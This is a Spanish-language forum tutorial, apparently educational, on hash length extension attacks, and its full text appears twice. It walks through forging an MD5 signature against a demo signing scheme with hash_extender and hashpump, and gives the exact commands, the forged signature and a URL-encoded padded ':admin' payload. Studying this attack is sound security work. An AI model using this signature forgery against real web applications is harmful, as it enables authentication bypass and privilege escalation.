¿Que es?
En criptografía y seguridad informática, un ataque de extensión de longitud es un tipo de ataque en el que un atacante puede usar el hash y la longitud del mensaje, para calcular el hash de un mensaje controlado por el atacante.
Código de ejemplo:
Uso:
?user - pedimos la firma para el usuario
?admin - pedimos la firma para el administrador
?sig=xxxx&type=user – donde sig es la firma obtenida y el type el tipo de usuario
En caso de que la palabra no coincida con la firma generada nos va mostrar un mensage un mensaje de error.
?sig=xxx&type=admin – nos muestra el usuario administrador
Explotación
Haremos uso de un script:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hash extender en este caso soporta los siguientes hashes para su explotación:
CRC32, MD5, SHA1, SHA256 y SHA512
Ahora identificamos el hash No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Introducimos el hash: 38f7e2f0c5eba427ed6b4b47f24814ea (en mi caso es este) y 0/GetImage%2B%25286%2529.png[/img]
Generamos una nueva firma
arthusu@SEGINF-RED03:/mnt/c/users/jaesoto/hash_extender$ ./hash_extender -f md5 -s 38f7e2f0c5eba427ed6b4b47f24814ea --data 'user' --append ':admin' --secret-min=7 --secret-max=33 --out-data-format=html
Donde los parámetros son los siguientes:
-f xxx le indicamos el tipo de hash
-s xxxx le indicamos la firma que tenemos valida
--data 'xxx' le indicamos el dato conocido en este caso user
--append 'xxx' le indicamos el dato que queremos agregarle en este caso :admin con dos puntos por el explode en este caso
--out-data-format=xxx le indicamos el formato de salida que le va dar
--secret-min=numero le indicamos un numero de tamaño para el secreto como minimo
--secret-max=numero le indicamos un numero de tamaño para el secreto como maximo
El secreto es en lo que se basa este ataque el tamaño del mismo como en este caso hipotéticamente no sabemos su tamaño (aunque si sabemos que la $signature tiene 32 caracteres el tamaño 😉 ) entonces generamos un rango en este caso del 7 al 33 y comenzamos a probar... 1 por 1.
Para realizar la prueba con hashpump lo hacemos de la siguiente manera:
arthusu@SEGINF-RED03:~$ hashpump
Como vemos ingresamos la firma con la comenzamos 38f7e2f0c5eba427ed6b4b47f24814ea
Después el dato con el que comenzamos user
Y el tamaño de la firma en este caso 32
Por ultimo el input agregar es :admin el cual esta en un explode por eso : sino fuera el caso no se agrega
Nos da una nueva firma: 12005b20185a5b3feb166cf9017ffa56
Y un payload: :user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin
El cual transformamos \x a % quedando asi:
user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00(%01%00%00%00%00%00%00:admin
Al ejecutar el payload nos da el resultado correcto.
Conclusión:
Estas vulnerabilidades existen realmente en las aplicaciones web, un ejemplo claro de ello lo podemos encontrar en: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Dudas y sugerencias pueden comentar, saludos
Referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En criptografía y seguridad informática, un ataque de extensión de longitud es un tipo de ataque en el que un atacante puede usar el hash y la longitud del mensaje, para calcular el hash de un mensaje controlado por el atacante.
Código de ejemplo:
Uso:
?user - pedimos la firma para el usuario
?admin - pedimos la firma para el administrador
?sig=xxxx&type=user – donde sig es la firma obtenida y el type el tipo de usuario
En caso de que la palabra no coincida con la firma generada nos va mostrar un mensage un mensaje de error.
?sig=xxx&type=admin – nos muestra el usuario administrador
Explotación
Haremos uso de un script:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hash extender en este caso soporta los siguientes hashes para su explotación:
CRC32, MD5, SHA1, SHA256 y SHA512
Ahora identificamos el hash No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Introducimos el hash: 38f7e2f0c5eba427ed6b4b47f24814ea (en mi caso es este) y 0/GetImage%2B%25286%2529.png[/img]
Generamos una nueva firma
arthusu@SEGINF-RED03:/mnt/c/users/jaesoto/hash_extender$ ./hash_extender -f md5 -s 38f7e2f0c5eba427ed6b4b47f24814ea --data 'user' --append ':admin' --secret-min=7 --secret-max=33 --out-data-format=html
Donde los parámetros son los siguientes:
-f xxx le indicamos el tipo de hash
-s xxxx le indicamos la firma que tenemos valida
--data 'xxx' le indicamos el dato conocido en este caso user
--append 'xxx' le indicamos el dato que queremos agregarle en este caso :admin con dos puntos por el explode en este caso
--out-data-format=xxx le indicamos el formato de salida que le va dar
--secret-min=numero le indicamos un numero de tamaño para el secreto como minimo
--secret-max=numero le indicamos un numero de tamaño para el secreto como maximo
El secreto es en lo que se basa este ataque el tamaño del mismo como en este caso hipotéticamente no sabemos su tamaño (aunque si sabemos que la $signature tiene 32 caracteres el tamaño 😉 ) entonces generamos un rango en este caso del 7 al 33 y comenzamos a probar... 1 por 1.
Para realizar la prueba con hashpump lo hacemos de la siguiente manera:
arthusu@SEGINF-RED03:~$ hashpump
Como vemos ingresamos la firma con la comenzamos 38f7e2f0c5eba427ed6b4b47f24814ea
Después el dato con el que comenzamos user
Y el tamaño de la firma en este caso 32
Por ultimo el input agregar es :admin el cual esta en un explode por eso : sino fuera el caso no se agrega
Nos da una nueva firma: 12005b20185a5b3feb166cf9017ffa56
Y un payload: :user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin
El cual transformamos \x a % quedando asi:
user%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00(%01%00%00%00%00%00%00:admin
Al ejecutar el payload nos da el resultado correcto.
Conclusión:
Estas vulnerabilidades existen realmente en las aplicaciones web, un ejemplo claro de ello lo podemos encontrar en: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Dudas y sugerencias pueden comentar, saludos
Referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta